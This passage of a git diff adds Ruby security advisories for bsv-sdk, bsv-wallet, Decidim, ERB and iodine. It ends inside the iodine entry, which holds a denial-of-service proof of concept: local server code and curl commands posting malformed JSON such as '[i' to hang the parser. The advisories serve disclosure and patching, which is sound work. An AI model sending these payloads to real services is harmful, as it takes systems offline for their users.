+ session cookies, since attacker-supplied session data may have
+ been accepted and re-issued prior to the fix.'
+ cvss_v4: 9.3
+ unaffected_versions:
+ - "< 2.0.0"
+ patched_versions:
+ - ">= 2.1.2"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-39324
+ - https://github.com/rack/rack-session/security/advisories/GHSA-33qg-7wpp-89cq
+ - https://github.com/advisories/GHSA-33qg-7wpp-89cq
+---
diff --git a/advisories/_posts/2026-04-09-CVE-2026-40069.md b/advisories/_posts/2026-04-09-CVE-2026-40069.md
new file mode 100644
index 00000000..cdf1d970
--- /dev/null
+++ b/advisories/_posts/2026-04-09-CVE-2026-40069.md
@@ -0,0 +1,155 @@
+---
+layout: advisory
+title: 'CVE-2026-40069 (bsv-sdk): bsv-sdk ARC broadcaster treats INVALID/MALFORMED/ORPHAN
+ responses as successful broadcasts'
+comments: false
+categories:
+- bsv-sdk
+advisory:
+ gem: bsv-sdk
+ cve: 2026-40069
+ ghsa: 9hfr-gw99-8rhx
+ url: https://github.com/sgbett/bsv-ruby-sdk/security/advisories/GHSA-9hfr-gw99-8rhx
+ title: bsv-sdk ARC broadcaster treats INVALID/MALFORMED/ORPHAN responses as successful
+ broadcasts
+ date: 2026-04-09
+ description: |-
+ # ARC broadcaster treats failure statuses as successful broadcasts
+
+ ## Summary
+
+ `BSV::Network::ARC`'s failure detection only recognises `REJECTED`
+ and `DOUBLE_SPEND_ATTEMPTED`. ARC responses with `txStatus` values
+ of `INVALID`, `MALFORMED`, `MINED_IN_STALE_BLOCK`, or any
+ `ORPHAN`-containing `extraInfo` / `txStatus` are silently treated
+ as successful broadcasts. Applications that gate actions on broadcaster
+ success are tricked into trusting transactions that were never
+ accepted by the network.
+
+ ## Details
+
+ `lib/bsv/network/arc.rb` (lines ~74-100 in the affected code) uses a
+ narrow failure predicate compared to the TypeScript reference SDK.
+ The TS broadcaster additionally recognises:
+
+ - `INVALID`
+ - `MALFORMED`
+ - `MINED_IN_STALE_BLOCK`
+ - Any response containing `ORPHAN` in `extraInfo` or `txStatus`
+
+ The Ruby implementation omits all of these, so ARC responses
+ carrying any of these statuses are returned to the caller as
+ successful broadcasts.
+
+ Additional divergences in the same module compound the risk:
+
+ - `Content-Type` is sent as `application/octet-stream`; the TS
+ reference sends `application/json` with a `{ rawTx: }`
+ body (EF form where source transactions are available).
+ - The headers `XDeployment-ID`, `X-CallbackUrl`, and `X-CallbackToken`
+ are not sent.
+
+ The immediate security-relevant defect is the missing failure
+ statuses; the other divergences are fixed in the same patch for
+ protocol compliance.
+
+ ## Impact
+
+ Integrity: callers receive a success response for broadcasts that
+ were actually rejected by the ARC endpoint. Applications and
+ downstream gems that gate actions on broadcaster success — releasing
+ goods, marking invoices paid, treating a token as minted, progressing
+ a workflow — are tricked into trusting transactions that were never broadcast.
+
+ This is an integrity bug with security consequences. It does not
+ disclose information (confidentiality unaffected) and does not
+ affect availability.
+
+ ## CVSS rationale
+
+ `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` → **7.5 (High)**
+
+ - **AV:N** — network-reachable.
+ - **AC:L** — no specialised access conditions are required. Triggering
+ any of the unhandled failure statuses is not meaningfully harder
+ than broadcasting a transaction at all: a malformed or invalid
+ transaction, an orphan condition from a transient fork, or a
+ hostile/misbehaving ARC endpoint returning one of these statuses
+ is sufficient. The attacker does not need to defeat any mitigation
+ or race a specific window — the bug is that the code path doesn't
+ exist at all.
+ - **PR:N** — no privileges required.
+ - **UI:N** — no user interaction.
+ - **C:N** — no confidentiality impact.
+ - **I:H** — downstream integrity decisions are taken on
+ non-broadcast transactions.
+ - **A:N** — no availability impact.
+
+ ## Affected versions
+
+ The ARC broadcaster was introduced in commit `a1f2e62` ("feat(network):
+ add ARC broadcaster with injectable HTTP client") on 2026-02-08 and
+ first released in **v0.1.0**. The narrow failure predicate has been
+ present since introduction. Every release up to and including **v0.8.1**
+ is affected.
+
+ Affected range: `>= 0.1.0, < 0.8.2`.
+
+ ## Patches
+
+ Upgrade to `bsv-sdk >= 0.8.2`. The fix:
+
+ - Expands the failure predicate (`REJECTED_STATUSES` + `ORPHAN`
+ substring check on both `txStatus` and `extraInfo`) to include
+ `INVALID`, `MALFORMED`, `MINED_IN_STALE_BLOCK`, and any
+ orphan-containing response, matching the TypeScript reference.
+ - Switches `Content-Type` to `application/json` with a `{ rawTx: }`
+ body, preferring Extended Format (BRC-30) hex when every input has
+ `source_satoshis` and `source_locking_script` populated and falling
+ back to plain raw-tx hex otherwise.
+ - Adds support for the `XDeployment-ID` (default: random
+ `bsv-ruby-sdk-`), `X-CallbackUrl`, and `X-CallbackToken`
+ headers via new constructor keyword arguments.
+
+ Fixed in sgbett/bsv-ruby-sdk#306.
+
+ ### Note for `bsv-wallet` consumers
+
+ The sibling gem `bsv-wallet` (published from the same repository) is
+ not independently vulnerable — `lib/bsv/network/arc.rb` is not bundled
+ into the wallet gem's `files` list. However, `bsv-wallet` runtime-depends
+ on `bsv-sdk`, so a consumer of `bsv-wallet` that also invokes the
+ ARC broadcaster is transitively exposed whenever `Gemfile.lock`
+ resolves to a vulnerable `bsv-sdk` version. `bsv-wallet >= 0.3.4`
+ tightens its `bsv-sdk` constraint to `>= 0.8.2, < 1.0`, so upgrading
+ either gem is sufficient to pull in the fix.
+
+ ## Workarounds
+
+ If upgrading is not immediately possible:
+
+ - Verify broadcast results out-of-band (e.g. query a block explorer
+ or WhatsOnChain) before treating a transaction as broadcast.
+ - Do not gate integrity-critical actions solely on the ARC
+ broadcaster's success response.
+
+ ## Credit
+
+ Identified during the 2026-04-08 cross-SDK compliance review,
+ tracked as finding F5.13.
+ cvss_v3: 7.5
+ unaffected_versions:
+ - "< 0.1.0"
+ patched_versions:
+ - ">= 0.8.2"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-40069
+ - https://github.com/sgbett/bsv-ruby-sdk/releases/tag/v0.8.2
+ - https://github.com/sgbett/bsv-ruby-sdk/pull/306
+ - https://github.com/sgbett/bsv-ruby-sdk/commit/4992e8a265fd914a7eeb0405c69d1ff0122a84cc
+ - https://github.com/sgbett/bsv-ruby-sdk/issues/305
+ - https://github.com/sgbett/bsv-ruby-sdk/security/advisories/GHSA-9hfr-gw99-8rhx
+ - https://advisories.gitlab.com/pkg/gem/bsv-sdk/CVE-2026-40069
+ - https://github.com/advisories/GHSA-9hfr-gw99-8rhx
+---
diff --git a/advisories/_posts/2026-04-09-CVE-2026-40070.md b/advisories/_posts/2026-04-09-CVE-2026-40070.md
new file mode 100644
index 00000000..fbfc5792
--- /dev/null
+++ b/advisories/_posts/2026-04-09-CVE-2026-40070.md
@@ -0,0 +1,221 @@
+---
+layout: advisory
+title: 'CVE-2026-40070 (bsv-wallet): bsv-sdk and bsv-wallet persist unverified certifier
+ signatures in acquire_certificate (direct and issuance paths)'
+comments: false
+categories:
+- bsv-wallet
+advisory:
+ gem: bsv-wallet
+ cve: 2026-40070
+ ghsa: hc36-c89j-5f4j
+ url: https://github.com/sgbett/bsv-ruby-sdk/security/advisories/GHSA-hc36-c89j-5f4j
+ title: bsv-sdk and bsv-wallet persist unverified certifier signatures in acquire_certificate
+ (direct and issuance paths)
+ date: 2026-04-09
+ description: |-
+ # Unverified certifier signatures persisted by `acquire_certificate`
+
+ ## Affected packages
+
+ Both `bsv-sdk` and `bsv-wallet` are published from the
+ [sgbett/bsv-ruby-sdk](https://github.com/sgbett/bsv-ruby-sdk)
+ repository. The vulnerable code lives in
+ `lib/bsv/wallet_interface/wallet_client.rb`, which is **physically
+ shipped inside both gems** (the `bsv-wallet.gemspec` `files` list
+ bundles the entire `lib/bsv/wallet_interface/` tree). Consumers
+ of either gem are independently vulnerable; the two packages
+ are versioned separately, so each has its own affected range.
+
+ | Package | Affected | Patched |
+ | --- | --- | --- |
+ | `bsv-sdk` | `>= 0.3.1, < 0.8.2` | `0.8.2` |
+ | `bsv-wallet` | `>= 0.1.2, < 0.3.4` | `0.3.4` |
+
+ ## Summary
+
+ `BSV::Wallet::WalletClient#acquire_certificate` persists certificate
+ records to storage **without verifying the certifier's signature**
+ over the certificate contents. Both acquisition paths are affected:
+
+ - `acquisition_protocol: 'direct'` — the caller supplies all
+ certificate fields (including `signature:`) and the record
+ is written to storage verbatim.
+ - `acquisition_protocol: 'issuance'` — the client POSTs to a
+ certifier URL and writes whatever signature the response body
+ contains, also without verification.
+
+ An attacker who can reach either API (or who controls a certifier
+ endpoint targeted by the issuance path) can forge identity
+ certificates that subsequently appear authentic to `list_certificates`
+ and `prove_certificate`.
+
+ ## Details
+
+ BRC-52 requires a certificate's `signature` field to be verified
+ against the claimed certifier's public key over a canonical hashing
+ of `(type, subject, serialNumber, revocationOutpoint, fields)`
+ before the certificate is trusted. The reference TypeScript SDK
+ enforces this in `Certificate.verify()`.
+
+ ### Direct path
+
+ The Ruby implementation's `acquire_via_direct` path
+ (`lib/bsv/wallet_interface/wallet_client.rb`) constructs the
+ certificate record directly from caller-supplied fields:
+
+ ```ruby
+ def acquire_via_direct(args)
+ {
+ type: args[:type],
+ subject: @key_deriver.identity_key,
+ serial_number: args[:serial_number],
+ certifier: args[:certifier],
+ revocation_outpoint: args[:revocation_outpoint],
+ signature: args[:signature],
+ fields: args[:fields],
+ keyring: args[:keyring_for_subject]
+ }
+ end
+ ```
+
+ The returned record is then written to the storage adapter by
+ `acquire_certificate`. No verification of `args[:signature]`
+ against `args[:certifier]`'s public key occurs at any point in this path.
+
+ ### Issuance path
+
+ `acquire_via_issuance` POSTs to a certifier-supplied URL and parses
+ the response body into a certificate record, which is then written
+ to storage without verifying the returned signature. A hostile or
+ compromised certifier endpoint — or anyone able to redirect/MITM
+ the plain HTTP request — can therefore return an arbitrary `signature`
+ value for any subject and have it stored as authentic. This is the
+ same class of bypass as the direct path; it was tracked separately
+ as finding **F8.16** in the compliance review and is closed by the same fix.
+
+ ### Downstream impact
+
+ Downstream reads via `list_certificates` and selective-disclosure
+ via `prove_certificate` treat stored records as valid without
+ re-verifying, so any forgery that slips past `acquire_certificate`
+ is trusted permanently.
+
+ ## Impact
+
+ Any caller that can invoke `acquire_certificate` — via either
+ acquisition protocol — can forge a certificate attributed to an
+ arbitrary certifier identity key, containing arbitrary fields,
+ and have it persisted as authentic. Applications and downstream
+ gems that rely on the wallet's certificate store as a source of
+ truth for identity attributes (e.g. KYC assertions, role claims,
+ attestations) are subject to credential forgery.
+
+ This is a credential-forgery primitive, not merely a spec
+ divergence from BRC-52.
+
+ ## CVSS rationale
+
+ `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` → **8.1 (High)**
+
+ - **AV:N** — network-reachable in any wallet context that
+ exposes `acquire_certificate` to callers.
+ - **AC:L** — low attack complexity: pass arbitrary bytes as `signature:`.
+ - **PR:L** — low privileges: any caller authorised to invoke
+ `acquire_certificate`.
+ - **UI:N** — no user interaction required.
+ - **C:H** — forged credentials via `prove_certificate` can
+ assert attributes about the subject.
+ - **I:H** — the wallet's credential store is polluted with
+ attacker-controlled data.
+ - **A:N** — availability unaffected.
+
+ ## Affected versions
+
+ The vulnerable direct-path code was introduced in commit `d14dd19`
+ ("feat(wallet): implement BRC-100 identity certificate methods
+ (Phase 5)") on 2026-03-27 20:35 UTC. The vulnerable issuance-path
+ code was added one day later in `6a4d898` ("feat(wallet): implement
+ certificate issuance protocol", 2026-03-28 04:38 UTC), which
+ removed an earlier `raise UnsupportedActionError` and replaced
+ it with an unverified HTTP POST.
+
+ **`bsv-sdk`:** the v0.3.1 chore bump (`89de3a2`) was committed
+ 8 minutes after `d14dd19`, so the direct-path bypass shipped in
+ the **v0.3.1** tag. The v0.3.1 release raised `UnsupportedActionError`
+ for the issuance path, so the issuance-path bypass first shipped
+ in **v0.3.2** (`5a335de`). Every subsequent release up to and
+ including **v0.8.1** is affected by at least one path, and every
+ release from v0.3.2 onwards is affected by both. Combined
+ affected range: `>= 0.3.1, < 0.8.2`.
+
+ **`bsv-wallet`:** at the time both commits landed, the wallet
+ gem was at version 0.1.1. The first wallet release containing
+ any of the vulnerable code was **v0.1.2** (`5a335de`, 2026-03-30),
+ which shipped both paths simultaneously. Every subsequent release
+ up to and including **v0.3.3** is affected on both paths.
+ Affected range: `>= 0.1.2, < 0.3.4`.
+
+ ## Patches
+
+ Upgrade to `bsv-sdk >= 0.8.2` **and/or** `bsv-wallet >= 0.3.4`.
+ Both releases ship the same fix: a new module
+ `BSV::Wallet::CertificateSignature`
+ (`lib/bsv/wallet_interface/certificate_signature.rb`), which builds
+ the BRC-52 canonical preimage (`type`, `serial_number`, `subject`,
+ `certifier`, `revocation_outpoint`, lexicographically-sorted `fields`)
+ and verifies the certifier's signature against it via
+ `ProtoWallet#verify_signature` with protocol ID `[2, 'certificate signature']`
+ and counterparty = the claimed certifier's public key. Both
+ `acquire_via_direct` and `acquire_via_issuance` now call
+ `CertificateSignature.verify!` before returning the certificate to
+ `acquire_certificate`, so invalid certificates raise
+ `BSV::Wallet::CertificateSignature::InvalidError` (a subclass of
+ `InvalidSignatureError`) and are never written to storage.
+
+ Consumers should upgrade whichever gem they depend on directly;
+ they do not need both. `bsv-wallet 0.3.4` additionally tightens
+ its dependency on `bsv-sdk` from the stale `~> 0.4` to
+ `>= 0.8.2, < 1.0`, which forces the known-good pairing and pulls
+ in the sibling advisory fixes (F1.3, F5.13) tracked separately.
+
+ The issuance-path fix also partially closes finding **F8.16** from
+ the same compliance review. F8.16's second aspect — switching the
+ issuance transport from ad-hoc JSON POST to BRC-104 AuthFetch — is
+ not addressed here and remains deferred to a future release.
+
+ Fixed in sgbett/bsv-ruby-sdk#306.
+
+ ## Workarounds
+
+ If upgrading is not immediately possible:
+
+ - Do not expose `acquire_certificate` (either acquisition
+ protocol) to untrusted callers.
+ - Do not invoke `acquire_certificate` with `acquisition_protocol:
+ 'issuance'` against a certifier URL you do not fully trust, and
+ require TLS for any such request.
+ - Treat any record returned by `list_certificates` / `prove_certificate`
+ as unverified and perform an out-of-band BRC-52 verification against
+ the certifier's public key before acting on it.
+
+ ## Credit
+
+ Identified during the 2026-04-08 cross-SDK compliance review,
+ tracked as findings F8.15 (direct path) and F8.16 (issuance path, partial).
+ cvss_v3: 8.1
+ unaffected_versions:
+ - "< 0.1.2"
+ patched_versions:
+ - ">= 0.3.4"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-40070
+ - https://github.com/sgbett/bsv-ruby-sdk/security/advisories/GHSA-hc36-c89j-5f4j
+ - https://github.com/sgbett/bsv-ruby-sdk/pull/306
+ - https://github.com/sgbett/bsv-ruby-sdk/commit/4992e8a265fd914a7eeb0405c69d1ff0122a84cc
+ - https://github.com/sgbett/bsv-ruby-sdk/issues/305
+ - https://bsv.brc.dev/peer-to-peer/0052
+ - https://advisories.gitlab.com/pkg/gem/bsv-wallet/CVE-2026-40070
+ - https://github.com/advisories/GHSA-hc36-c89j-5f4j
+---
diff --git a/advisories/_posts/2026-04-13-CVE-2026-23891.md b/advisories/_posts/2026-04-13-CVE-2026-23891.md
new file mode 100644
index 00000000..72999c4a
--- /dev/null
+++ b/advisories/_posts/2026-04-13-CVE-2026-23891.md
@@ -0,0 +1,53 @@
+---
+layout: advisory
+title: 'CVE-2026-23891 (decidim-core): Decidim has a cross-site scripting (XSS) in
+ user name'
+comments: false
+categories:
+- decidim-core
+advisory:
+ gem: decidim-core
+ cve: 2026-23891
+ ghsa: fc46-r95f-hq7g
+ url: https://github.com/decidim/decidim/security/advisories/GHSA-fc46-r95f-hq7g
+ title: Decidim has a cross-site scripting (XSS) in user name
+ date: 2026-04-13
+ description: |-
+ ### Impact
+
+ A stored code execution vulnerability in the user name field allows
+ a low-privileged attacker to execute arbitrary code in the context
+ of any user who passively visits a comment page, resulting in high
+ confidentiality and integrity impact across security boundaries.
+
+ ### Patches
+
+ N/A
+
+ ### Workarounds
+
+ Not available
+
+ ### References
+
+ OWASP ASVS v4.0.3-5.1.3
+
+ ### Credits
+
+ This issue was discovered in a security audit organized by
+ [octree](https://octree.ch/) and made by
+ [Secu Labs](https://seculabs.ch/) against Decidim financed
+ by the city of Lausanne (Switzerland).
+ cvss_v3: 8.7
+ cvss_v4: 9.3
+ patched_versions:
+ - "~> 0.30.5"
+ - ">= 0.31.1"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-23891
+ - https://github.com/decidim/decidim/releases/tag/v0.31.1
+ - https://github.com/decidim/decidim/releases/tag/v0.30.5
+ - https://github.com/decidim/decidim/security/advisories/GHSA-fc46-r95f-hq7g
+ - https://github.com/advisories/GHSA-fc46-r95f-hq7g
+---
diff --git a/advisories/_posts/2026-04-13-CVE-2026-41316.md b/advisories/_posts/2026-04-13-CVE-2026-41316.md
new file mode 100644
index 00000000..e19647d5
--- /dev/null
+++ b/advisories/_posts/2026-04-13-CVE-2026-41316.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2026-41316 (erb): ERB has an @_init deserialization guard bypass via def_module
+ / def_method / def_class'
+comments: false
+categories:
+- erb
+advisory:
+ gem: erb
+ cve: 2026-41316
+ ghsa: q339-8rmv-2mhv
+ url: https://nvd.nist.gov/vuln/detail/CVE-2026-41316
+ title: ERB has an @_init deserialization guard bypass via def_module / def_method
+ / def_class
+ date: 2026-04-13
+ description: |-
+ ERB implements an @_init guard to prevent code execution when ERB
+ objects are reconstructed via Marshal.load on untrusted data. However,
+ ERB#def_method, ERB#def_module, and ERB#def_class evaluate the template
+ source without checking this guard, allowing an attacker who controls
+ the data passed to Marshal.load to bypass the protection and execute
+ arbitrary code. In particular, def_module takes no arguments, making
+ it straightforward to invoke as part of a deserialization gadget chain.
+
+ Please update the erb gem to version 4.0.3.1, 4.0.4.1, 6.0.1.1,
+ 6.0.4 or later.
+ cvss_v3: 8.1
+ patched_versions:
+ - "~> 4.0.3.1"
+ - "~> 4.0.4.1"
+ - "~> 6.0.1.1"
+ - ">= 6.0.4"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-41316
+ - https://www.ruby-lang.org/en/news/2026/07/16/ruby-3-3-12-released
+ - https://www.ruby-lang.org/en/news/2026/04/21/ruby-4-0-3-released
+ - https://www.ruby-lang.org/en/news/2026/04/21/erb-cve-2026-41316
+ - https://github.com/ruby/erb/blob/master/NEWS.md
+ - https://github.com/ruby/erb/commit/9d017be4e375cdd058650ce528ee6adfead20cac
+ - https://github.com/advisories/GHSA-q339-8rmv-2mhv
+---
diff --git a/advisories/_posts/2026-04-14-CVE-2026-40869.md b/advisories/_posts/2026-04-14-CVE-2026-40869.md
new file mode 100644
index 00000000..908de0a6
--- /dev/null
+++ b/advisories/_posts/2026-04-14-CVE-2026-40869.md
@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'CVE-2026-40869 (decidim-core): Decidim amendments can be accepted or rejected
+ by anyone'
+comments: false
+categories:
+- decidim-core
+advisory:
+ gem: decidim-core
+ cve: 2026-40869
+ ghsa: w5xj-99cg-rccm
+ url: https://github.com/decidim/decidim/security/advisories/GHSA-w5xj-99cg-rccm
+ title: Decidim amendments can be accepted or rejected by anyone
+ date: 2026-04-14
+ description: |-
+ ### Impact
+
+ The vulnerability allows any registered and authenticated user to
+ accept or reject any amendments. The impact is on any users who
+ have created proposals where the amendments feature is enabled.
+ This also elevates the user accepting the amendment as the author
+ of the original proposal as people amending proposals are provided
+ coauthorship on the coauthorable resources.
+
+ The only check done when accepting or rejecting amendments is whether
+ the amendment reactions are enabled for the component:
+ - https://github.com/decidim/decidim/blob/9d6c3d2efe5a83bb02e095824ff5998d96a75eb7/decidim-core/app/permissions/decidim/permissions.rb#L107
+
+ The permission checks have been changed at 1b99136 which was
+ introduced in released version 0.19.0. I have not investigated
+ whether prior versions are also affected.
+
+ ### Patches
+
+ Not available
+
+ ### Workarounds
+
+ Disable amendment reactions for the amendable component (e.g. proposals).
+ cvss_v3: 7.5
+ unaffected_versions:
+ - "< 0.19.0"
+ patched_versions:
+ - "~> 0.30.5"
+ - ">= 0.31.1"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-40869
+ - https://github.com/decidim/decidim/security/advisories/GHSA-w5xj-99cg-rccm
+ - https://github.com/decidim/decidim/commit/1b99136a1c7aa02616a0b54a6ab88d12907a57a9
+ - https://github.com/advisories/GHSA-w5xj-99cg-rccm
+---
diff --git a/advisories/_posts/2026-04-14-CVE-2026-40870.md b/advisories/_posts/2026-04-14-CVE-2026-40870.md
new file mode 100644
index 00000000..ace66af6
--- /dev/null
+++ b/advisories/_posts/2026-04-14-CVE-2026-40870.md
@@ -0,0 +1,104 @@
+---
+layout: advisory
+title: 'CVE-2026-40870 (decidim-comments): Decidim''s comments API allows access to
+ all commentable resources'
+comments: false
+categories:
+- decidim-comments
+advisory:
+ gem: decidim-comments
+ cve: 2026-40870
+ ghsa: ghmh-q25g-gxxx
+ url: https://github.com/decidim/decidim/security/advisories/GHSA-ghmh-q25g-gxxx
+ title: Decidim's comments API allows access to all commentable resources
+ date: 2026-04-14
+ description: |-
+ ### Impact
+
+ The root level `commentable` field in the API allows access to all
+ commentable resources within the platform, without any permission
+ checks. All Decidim instances are impacted that have not secured
+ the `/api` endpoint. The `/api` endpoint is publicly available
+ with the default configuration.
+
+ ### Patches
+
+ Not available
+
+ ### Workarounds
+
+ To mitigate the issue, you can limit the scope to only authenticated
+ users by limiting access to the `/api` endpoint. This would require
+ custom code or installing the 3rd party module `Decidim::Apiauth`.
+
+ With custom code, the `/api` endpoint can be limited to only
+ authenticated users with the following code (needs to run during
+ application initialization):
+
+ ```ruby
+ # Within your application
+ # config/initializers/limit_api_access.rb
+
+ module LimitApiAccess
+ extend ActiveSupport::Concern
+
+ included do
+ prepend_before_action do |controller|
+ unless controller.send(:user_signed_in?)
+ render plain: I18n.t("actions.login_before_access",
+ scope: "decidim.core"), status: :unauthorized
+ end
+ end
+ end
+ end
+
+ Rails.application.config.to_prepare do
+ Decidim::Api::ApplicationController.include(LimitApiAccess)
+ end
+ ```
+
+ Please note that this would only disable public access to the API
+ and all authenticated users would be still able to exploit the
+ vulnerability. This may be sufficient for some installations,
+ but not for all.
+
+ Another workaround is to limit the availability of the `/api`
+ endpoint to only trusted ranges of IPs that need to access the
+ API. The following Nginx configuration would help limiting the
+ API access to only specific IPs:
+
+ ```
+ location /api {
+ allow 192.168.1.100;
+ allow 192.168.1.101;
+ deny all;
+ }
+ ```
+
+ The same configuration can be also used without the `allow`
+ statements to disable all traffic to the the `/api` endpoint.
+
+ When considering a workaround and the seriousness of the vulnerability,
+ please consider the nature of the platform. If the platform is primarily
+ serving public data, this vulnerability is not serious by its nature.
+ If the platform is protecting some resources, e.g. inside private
+ participation spaces, the vulnerability may expose some data to
+ the attacker that is not meant public.
+
+ If you have enabled the organization setting "Force users to
+ authenticate before access organization", the scope of this
+ vulnerability is limited to the users who are allowed to log in
+ to the Decidim platform. This setting was introduced in version
+ 0.19.0 and it was applied to the `/api` endpoint in version 0.22.0.
+ cvss_v3: 7.5
+ unaffected_versions:
+ - "< 0.0.1"
+ patched_versions:
+ - "~> 0.30.5"
+ - ">= 0.31.1"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-40870
+ - https://github.com/decidim/decidim/security/advisories/GHSA-ghmh-q25g-gxxx
+ - https://github.com/advisories/GHSA-ghmh-q25g-gxxx
+---
diff --git a/advisories/_posts/2026-04-14-CVE-2026-41146.md b/advisories/_posts/2026-04-14-CVE-2026-41146.md
new file mode 100644
index 00000000..d6c2cbdb
--- /dev/null
+++ b/advisories/_posts/2026-04-14-CVE-2026-41146.md
@@ -0,0 +1,279 @@
+---
+layout: advisory
+title: 'CVE-2026-41146 (iodine): Uncontrolled resource consumption and loop with unreachable
+ exit condition in facil.io and downstream iodine ruby gem'
+comments: false
+categories:
+- iodine
+advisory:
+ gem: iodine
+ cve: 2026-41146
+ ghsa: 2x79-gwq3-vxxm
+ url: https://nvd.nist.gov/vuln/detail/CVE-2026-41146
+ title: Uncontrolled resource consumption and loop with unreachable exit condition
+ in facil.io and downstream iodine ruby gem
+ date: 2026-04-14
+ description: |-
+ ### Summary
+
+ `fio_json_parse` can enter an infinite loop when it encounters a
+ nested JSON value starting with `i` or `I`. The process spins in
+ user space and pegs one CPU core at ~100 instead of returning a
+ parse error.
+
+ Because `iodine` gem vendors the same parser code, the issue also
+ affects `iodine` gem when it parses attacker-controlled JSON.
+
+ The smallest reproducer found is `[i`. The quoted-value form that
+ originally exposed the issue, `[""i`, reaches the same bug because
+ the parser tolerates missing commas and then treats the trailing
+ `i` as the start of another value.
+
+ ### Details
+
+ The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around
+ the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`;
+ `master`: lines `434-468` in the current tree as tested).
+
+ This parser is reached from real library entry points, not just
+ the header in isolation:
+
+ - `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`)
+ and `402-411` (`fiobj_hash_update_json`)
+ - `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`)
+ - `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411`
+
+ Relevant flow:
+
+ 1. Inside an array or object, the parser sees `i` or `I` and jumps
+ to the `numeral:` label.
+
+ 2. It calls `fio_atol((char **)&tmp)`.
+
+ 3. For a bare `i` / `I`, `fio_atol` consumes zero characters and
+ leaves `tmp == pos`.
+
+ 4. The current code only falls back to float parsing when
+ `JSON_NUMERAL[*tmp]` is true.
+
+ 5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts
+ the value as an integer and sets `pos = tmp` without advancing.
+
+ 6. Because parsing is still nested (`parser->depth > 0`), the
+ outer loop continues forever with the same `pos`.
+
+ The same logic exists in `iodine`'s vendored copy at
+ `ext/iodine/fio_json_parser.h` lines `434-468`.
+
+ Why the `[""i` form hangs:
+
+ 1. The parser accepts the empty string `""` as the first array element.
+ 2. It does not require a comma before the next token.
+ 3. The trailing `i` is then parsed as a new nested value.
+ 4. The zero-progress numeral path above causes the infinite loop.
+
+ Examples that trigger the bug:
+
+ - Array form, minimal: `[i`
+ - Object form: `{"a":i`
+ - After a quoted value in an array: `[""i`
+ - After a quoted value in an object: `{"a":""i`
+
+ ### Minimal standalone program
+
+ Use the normal HTTP stack. The following server calls `http_parse_body(h)`,
+ which reaches `fiobj_json2obj` and then `fio_json_parse` for
+ `Content-Type: application/json`.
+
+ ```c
+ #define _POSIX_C_SOURCE 200809L
+
+ #include
+ #include
+ #include
+ #include
+
+ static void on_request(http_s *h) {
+ fprintf(stderr, "calling http_parse_body
+ ");
+ fflush(stderr);
+ http_parse_body(h);
+ fprintf(stderr, "returned from http_parse_body
+ ");
+ http_send_body(h, "ok
+ ", 3);
+ }
+
+ int main(void) {
+ if (http_listen("3000", "127.0.0.1",
+ .on_request = on_request,
+ .max_body_size = (1024 * 1024),
+ .log = 1) == -1) {
+ perror("http_listen");
+ return 1;
+ }
+ fio_start(.threads = 1, .workers = 1);
+ return 0;
+ }
+ ```
+
+ `http_parse_body(h)` is the higher-level entry point and, for
+ `Content-Type: application/json`, it reaches `fiobj_json2obj`
+ in `lib/facil/http/http.c:1947-1953`.
+
+ Save it as `src/main.c` in a vulnerable `facil.io` checkout
+ and build it with the repo `makefile`:
+
+ ```bash
+ git checkout 0.7.6
+ mkdir -p src
+ make NAME=http_json_poc
+ ```
+
+ Run:
+
+ ```bash
+ ./tmp/http_json_poc
+ ```
+
+ Then in another terminal send one of these payloads:
+
+ ```bash
+ printf '[i' | curl --http1.1 -H 'Content-Type: application/json'
+ -X POST --data-binary @- http://127.0.0.1:3000/
+ printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json'
+ -X POST --data-binary @- http://127.0.0.1:3000/
+ printf '[""i' | curl --http1.1 -H 'Content-Type: application/json'
+ -X POST --data-binary @- http://127.0.0.1:3000/
+ printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json'
+ -X POST --data-binary @- http://127.0.0.1:3000/
+ ```
+
+ Observed result on a vulnerable build:
+
+ - The server prints `calling http_parse_body` and never reaches
+ `returned from http_parse_body`.
+ - The request never completes.
+ - One worker thread spins until the process is killed.
+
+ ### Downstream impact in `iodine`
+
+ `iodine` vendors the same parser implementation in
+ `ext/iodine/fio_json_parser.h`, so any `iodine` code path that
+ parses attacker-controlled JSON through this parser inherits
+ the same hang / CPU exhaustion behavior.
+
+ Single-file `iodine` HTTP server repro:
+
+ ```ruby
+ require "iodine"
+
+ APP = proc do |env|
+ body = env["rack.input"].read.to_s
+ warn "calling Iodine::JSON.parse on: #{body.inspect}"
+ Iodine::JSON.parse(body)
+ warn "returned from Iodine::JSON.parse"
+ [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok
+ "]]
+ end
+
+ Iodine.listen service: :http,
+ address: "127.0.0.1",
+ port: "3000",
+ handler: APP
+
+ Iodine.threads = 1
+ Iodine.workers = 1
+ Iodine.start
+ ```
+
+ Run:
+
+ ```bash
+ ruby iodine_json_parse_http_poc.rb
+ ```
+
+ Then in a second terminal:
+
+ ```bash
+ printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
+ printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
+ printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
+ printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
+ ```
+
+ On a vulnerable build, the server prints the `calling Iodine::JSON.parse...`
+ line but never prints the `returned from Iodine::JSON.parse` line
+ for these payloads.
+
+ ## Impact
+
